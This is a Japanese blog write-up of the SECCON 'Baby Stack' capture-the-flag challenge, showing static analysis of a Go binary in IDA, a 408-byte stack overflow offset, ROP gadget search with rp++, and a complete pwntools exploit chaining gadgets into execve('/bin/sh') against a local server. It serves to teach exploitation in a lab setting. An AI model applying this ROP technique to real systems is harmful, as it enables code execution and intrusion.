1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Pwn入門:Babystack

Posted at

前提

今回はホストマシンにM2AppleシリコンのMacbook、ゲストに
初期調査でArm用のKali linux、実行にはCyberopsというx86_64アーキテクチャのLinuxマシンを使っています。

問題

baby_stack.zipというzipファイルがあるので、unzipで解凍する。
作成されたファイルに移動すると、以下のようになっている。

ls
baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8
flag.txt
question.txt

今回flag.txtがすでにありますが、これは本来サーバーが稼働していてそれに対してアクセスして行うものなのでそれを再現するために既に存在しています。
なので達成感を感じるために見ないようにしましょう。

その他には実行ファイルらしきファイルと問題文らしきテキストファイルがあります。

解答

1.初期調査

baby_stack-...を実行しようとしてみます。
まずは長いのでmvで名前を変更します。

mv baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 baby_stack

その後そのまま実行しようとしたら権限で弾かれたのでchmodで実行できるようにします。

chmod +x ./baby_stack  
./baby_stack

しかしながらUTM上のkali linuxでは以下のようにでました。
zsh: exec format error: ./baby_stack
fileコマンドで確認します。

$ file baby_stack         
baby_stack: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=bcdb5e02c0606a4c9dd06d1e0dc56dc8564db722, with debug_info, not stripped

後で使いますがバイナリが静的にリンクされているということもここからわかります。
まず重要なのはx86-64での実行ファイルとわかったので、x64のアーキテクチャで動かします。
よって実行にはCyberOpsを使います。
ちなみに現在のアーキテクチャはuname -mで確認できます。

uname -m                                                  
aarch64

私はここから先実行にはUTMでlinuxの仮想環境で行いますが、Docker等でも問題ないです。

question.txtにサーバーの情報が乗っていますが、ローカルで再現するためにも使います。

$ cat question.txt
Baby Stack
Can you do a traditional stack attack?

Host : baby_stack.pwn.seccon.jp
Port : 15285
baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d

本来はnc baby_stack.pwn.seccon.jp 15285で接続して問題を解くことができました。
それをローカルで再現するために、以下のコマンドを使います。

socat tcp-listen:15285,reuseaddr,fork, EXEC:"./baby_stack"

これでローカルの127.0.0.1の先ほどのポートでbaby_stackが実行でるようになりました。
別のターミナルを開いてncコマンドで接続して使います。

nc localhost 15285

flagは出ませんが直接実行することもできます。

スクリーンショット 2025-07-08 19.47.55.png
このように>>の部分で計2回入力を求められます。
それ以外は特にやれることがないので、ここから攻略方法を探っていきます。

2.詳細調査

2-1 動的解析続き

いきなり静的解析を行ってもよいですが、効率のためもう少し動的解析を行い目星をつけます。
よってもう少し実行ファイルの挙動に関して深堀りしていきます。
今回は入力部分が2つありました。つまりこの両方またはどちらか一方が攻撃できる箇所となります。
先ほどの問題にあった*Can you do a traditional stack attack?*から、スタックバッファオーバーフローの脆弱性があるのではないかと予測できます。
それを確かめるために長めの文字列をそれぞれに入力します。
するとnameに長い文字列を入れてもmsgがそのまま出力されましたが、msgに長い文字列を入れたときに以下のようにエラーが出ました。
スクリーンショット 2025-07-14 15.11.51.png
これで予想通りスタックバッファオーバーフローの脆弱性があるとわかりました。
ついでにgoruntimeやgo-1.6、baby_stack.goといった単語からgoで書かれたプログラムであるとわかります。

スタックバッファオーバーフローとは スタックバッファオーバーフローとはバッファオーバーフローとと呼ばれる脆弱性の一種です。 バッファオーバーフローとは、コンピューターのメモリ上に確保されたある領域(バッファといいます)に対してその容量を超えるデータが書き込まれたときに起こり、データが溢れることによってメモリ上書きされてしまう脆弱性です。

その中でも関数内で一時的なローカル変数などを保存するのに使うスタックというメモリ領域で起きるバッファオーバーフローのことをいいます。

スタックには関数でのローカル変数とともに、呼び出された関数が処理を終えた後、呼び出し元へと戻るために使われるリターンアドレスが保存されています。
これが書き換えられてshellを起動するような関数のリターンアドレスに書き換えられることによってプログラムの制御が奪われます。

その際に元ある関数を呼び出す他、ペイロードでshellcodeと呼ばれる任意のコードをスタックに設置して実行する、libc経由でshellを呼び出すなど様々な方法があります。

仕組みの参考

2-2 セキュリティ機構の調査

messageの入力部分にスタックバッファオーバーフローの脆弱性があるという目星がついたので、実際にその部分の実装を静的解析を行い調べます。

しかしその前に、どのような脆弱性緩和策が行われているかを調べることによって、実際にどのような攻撃が有効なのかを先に調べておきます。
ここでは代表的なchecksecというツールを用います。
スクリーンショット 2025-07-09 10.28.15.png
結果からNXのみ有効化されているとわかります。

これはNo Executeの略称で、スタックなどのデータ領域上に置かれているデータが命令として実行されるのを禁止するというものです。

よってスタックバッファオーバーフローの説明で言及したshellcodeをペイロードで配置する攻撃が無効化されているということです。

なのでどうにかして既にプログラム内にある命令を使ってshellを起動する必要があります。
これを念頭に置いて静的解析を行っていきます。

補足:その他のセキュリティ機構

2-3 脆弱性箇所の調査

静的解析にはGhidraやIDA PRO(無料版はFree)が一般的に使われます。
今回はIDA Freeを使って主に説明していきます。

IDAを選んだ理由 本来Go言語での解析はランタイム呼び出しが多くアセンブリよりデコンパイルを見たほうがやりやすく、Ghidraの方がデコンパイルの点で優秀です。

しかしながら今回はスタック変数が多すぎてGhidraでは見づらく、Cライクに書かれているのでIDAでも簡単に処理を追えるので結果としてIDAを選ぶほうがやりやすいと感じました。

ファイルを読み込んだ後、Functionsからmain_mainを選んで開きます。
Goではmain_mainが実行されるmain関数だからです。
まずはどのようにして入力された値を扱っているか調べます。

スクリーンショット 2025-07-09 10.01.07.png
View→Open Subviews→Function callsから呼び出されいてる関数の一覧を確認します。
スペースキーを押すと見られるグラフビューでcallのところを追うことでも確認できます。
スクリーンショット 2025-07-14 18.20.49.png

bufio__ptr_Scanner_Scan が文字列の読み取りになるので、2つ目の同じ関数がmessageの受取部分であり今回攻撃する箇所なのでその周りを探します。
すると2つ下にmain_memcpyという関数があります。これに注目します。

バッファオーバーフローの原因の一つにのコピー先のバッファサイズチェックせず容量以上のデータをコピーするというものがあります。

その可能性が高いため。詳しく見ていきます。
main_memcpyを2回ダブルクリックして詳細に飛びます。
スクリーンショット 2025-07-14 20.39.19.png
一番上の行を見ると、dst,src,lenという3つの引数を取っていることがわかります。
それぞれコピー先、コピー元、コピーする長さとなります。
つまりdstの容量をlenが超えるとオーバーフローが起こります。

引数に実際になにが与えられているか見に行きます。
Function callsタブに戻ってcall main_memcpyをダブルクリックすると呼び出し元に戻れます。
スクリーンショット 2025-07-15 1.24.14.png
lenを見ると、moveでraxという値が代入されていて、raxを見るとtext.lenが与えられています。
よって与えられた文字列の長さをそのままlenに入れていることがわかります。

またコピー先のdstについて見てみます。
スクリーンショット 2025-07-15 9.57.13.png

まず一番最後の;dstとある部分に注目すると、rbpが代入されています。
また、一つ上でrbpにはrbxが入っています。
そのさらに一つ上ではmovではなくlea(Load Effective Address)となっています。これはメモリのアドレスそのものを計算してレジスタに格納します。

つまり一番上の行の意味はスタック上にあるbufという変数のメモリアドレスを計算し、そのアドレスをrbxレジスタに入れるということです。

よってdstの引数でありmain_memcpyのコピー先であるrbxのバッファの大きさはbufを調べればいいとわかります。

main_mainの先頭に戻ってbufの定義を見つけます。

buf= _slice_uint8 ptr -0D0h

とあるのでbufにカーソルを合わせてXをおすとbufの参照一覧がでるので、movかつ最初に飛びます。
スクリーンショット 2025-07-15 9.51.52.png

すると以下のようになっています。
スクリーンショット 2025-07-15 9.51.36.png
buf.lenには20hが代入されているとわかりました。0x20は10進数で32なので、コピー先の容量は32バイトしかないとわかりました。

よって、32バイトを超える入力が行われるとスタックバッファオーバーフローが起こるということが正式にわかりました。

3.エクスプロイト作成

3-1 オフセットの調査

実際にリターンアドレスを書き換えるには、戻りアドレスまでに必要なバイトの距離(オフセット)がわからないとできません。

しかし今回は静的にバインドされたバイナリであることから、オフセットが固定化されています。
よって本来gdbなどのデバッガで動的に解析する必要があるものを静的解析から求めることができます。

オフセットを求めるためbuf.arrayに入っているrbxに注目します。
少し上に遡ると、rbxのleaが見つかります。
スクリーンショット 2025-07-15 11.12.00.png
lea rbx, [rsp+1F8h+var_198]よりvar_198が実体であるとわかりました。
var_198の定義を見てみると以下のようになっています。
スクリーンショット 2025-07-15 11.16.21.png

var_198= byte ptr -198h

よってオフセットは198h、10進数に直すと408であるとわかりました。

実際にリターンアドレスを書き換えられる事を確かめます。

以下のようなPythonのワンライナーを使用します。

python -c 'print("test\n" + "\x00"*408 +"\x41\x41\x41\x41")' | ./baby_stack

すると以下のように、プログラムの処理が指定した0x41414141に移って制御を奪えました。

スクリーンショット 2025-07-15 11.04.04.png

3-2 ROPの調査

さて実際にshellを起動していきたいと思いますが、今までの探索で特にshellを起動できそうなコードはありませんでした。

またセキュリティ機構の調査よりNXが有効になっていることがわかっているので、ペイロードに送り込むことができません。

よってプログラム内のコード断片を繋ぎ合わせて任意のコードを実行する、Return Oriented Programming(以下ROP)というテクニックを使います。

ROPの仕組み

そのために行いたい処理が記述されているコード断片、ROPガジェットを探します。

ROPガジェットの探索

ROPガジェットを探すツールはいくつかありますが、今回はrp++というツールをつかいます。

git clone等でダウンロードした後、src/build内でbuild-release.shをchmodで権限付与した後実行します

chmod +x build-release.sh
./build-release.sh

kaliでは以下のコマンドでどこからでも実行できます。

sudo mv rp-lin /usr/local/bin/rp++

では実際に使っていきます。
--file=に実行するファイル、--rop=にretに到達するまでの最大命令数を入れます。

rp++ --file=baby_stack --rop=5

すると以下のように大量に出て来ます。
スクリーンショット 2025-07-22 23.26.18.png

grepで欲しい命令だけ絞り込みます。

rp++ --file=./baby_stack --rop=5 |grep "pop rax ; ret"

スクリーンショット 2025-07-22 23.37.26.png

0x4016eaなど該当するガジェットを見つけ出せました。

改めて今回やりたいことは、シェル(/bin/sh)を起動することです。
そのためにexecveシステムコールを用います。
これは指定されたプログラムを実行するシステムコール(OSの機能を呼び出すために使われる機構)です。
指定方法は関数の引数と同様で、シェルを呼び出す場合を関数の形式で書くと以下のようになる。

execve("/bin/",NULL,NULL)
引数詳細 execve("pathname",argv,envp)

pathname: 実行したい新しいプログラムのパス(例: /bin/ls)。

argv: 新しいプログラムに渡すコマンドライン引数の配列(例: ls コマンドの -l や -a)。

envp: 新しいプログラムに渡す環境変数の配列。

x86-64のlinuxでは第1,第2,第3引数はそれぞれrdi,rsi,rdxレジスタに格納します。
またシステムコール自体はシステムコール命令を実行することで呼び出され、raxに数字(定数)で指定します。
execveの場合59(0x3bになります)。

これらの踏まえてropチェーン構築を以下のように行います。

1.第1引数(rdi)に、BSS領域(初期値を持たないグローバル変数などのための領域)の先頭を指すアドレスを格納後そのアドレスに"bin/sh"という文字列を書き込む

2.第2引数(rsi)と第3引数(rdx)に0を格納

3.raxに0x3bを格納してシステムコールを呼び出す

この3つを実現するためのガジェットを探します。
以下の6つになります。
0x4016ea,0x470931,0x456499,0x46defd,0x4a247c,0x456889

各ガジェットの詳細

1. pop rax ret;
先程やったので割愛。

2. pop rdi; ret;
直接は見つからないのでpop rdi; or byte [rax + 0x39], cl; ret;で代用

0x470931: pop rdi ; or byte [rax+0x39], cl ; ret ; (1 found)

3. mov qword ptr [rdi] , rax ; ret ;

0x456499: mov qword [rdi], rax ; ret ; (1 found)

4. pop rsi ; ret ;

rp++ --file=./baby_stack --rop=5 |grep "pop rsi ; ret ;"
0x46defd: pop rsi ; ret ; (1 found)

5. pop rdx; ret;
こちらも代用としてpop rdx ; or byte [rax-0x77], cl ; ret ; を使用

0x4a247c: pop rdx ; or byte [rax-0x77], cl ; ret ; (1 found)

6. syscall ; ret ;

0x456889: syscall ; ret ; (1 found)

上のガジェットを使ったExploitコードが以下になります。

Exploit
from pwn import * 

#サーバーに接続
r = remote('127.0.0.1', 15285)

#入力Bまで進める
r.recvuntil('Please tell me your name >> ')
r.sendline('test')
r.recvuntil('Give me your message >> ')

#execve("bin/sh", NULL, NULL)を実行するためのROP chainを作成

bss = 0x59f920
systemcall = 0x456889
execve = 0x3b
rpchain = ''


# rdiにBSS領域の先頭アドレスをセット
# そのアドレスに"/bin/sh"を書き込む
rpchain += p64(0x4016ea)  # pop rax; ret
rpchain += p64(bss)
rpchain += p64(0x470931)  # pop rdi; or byte [rax + 0x39], cl; ret;
rpchain += p64(bss)
rpchain += p64(0x4016ea)  # pop rax; ret
rpchain += b'/bin/sh\x00'
rpchain += p64(0x456499) # mov qword ptr [rdi] , rax ; ret ;

# rsiとrdxにNULLをセット
rpchain += p64(0x4016ea)  # pop rax; ret
rpchain += p64(bss)
rpchain += p64(0x46defd)  # pop rsi; ret;
rpchain += p64(0)
rpchain += p64(0x4a247c)  # pop rdx ; or byte [rax-0x77], cl ; ret ;
rpchain += p64(0)

# execve呼び出し
rpchain += p64(0x4016ea)  # pop rax; ret
rpchain += p64(execve)
rpchain += p64(systemcall) # syscall; ret;

r.sendline('\x00' * 408 + rpchain)
r.interactive()
実行するとshellを起動することができた。 lsで中身を確認すると、flag.txtが見つかるためcatで表示する。
SECCON{'un54f3'm0dul3_15_fr13ndly_70_4774ck3r5}

参考文献

中島 明日香『入門セキュリティコンテスト ― CTFを解きながら学ぶ実戦技術』翔泳社, 2023年.

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?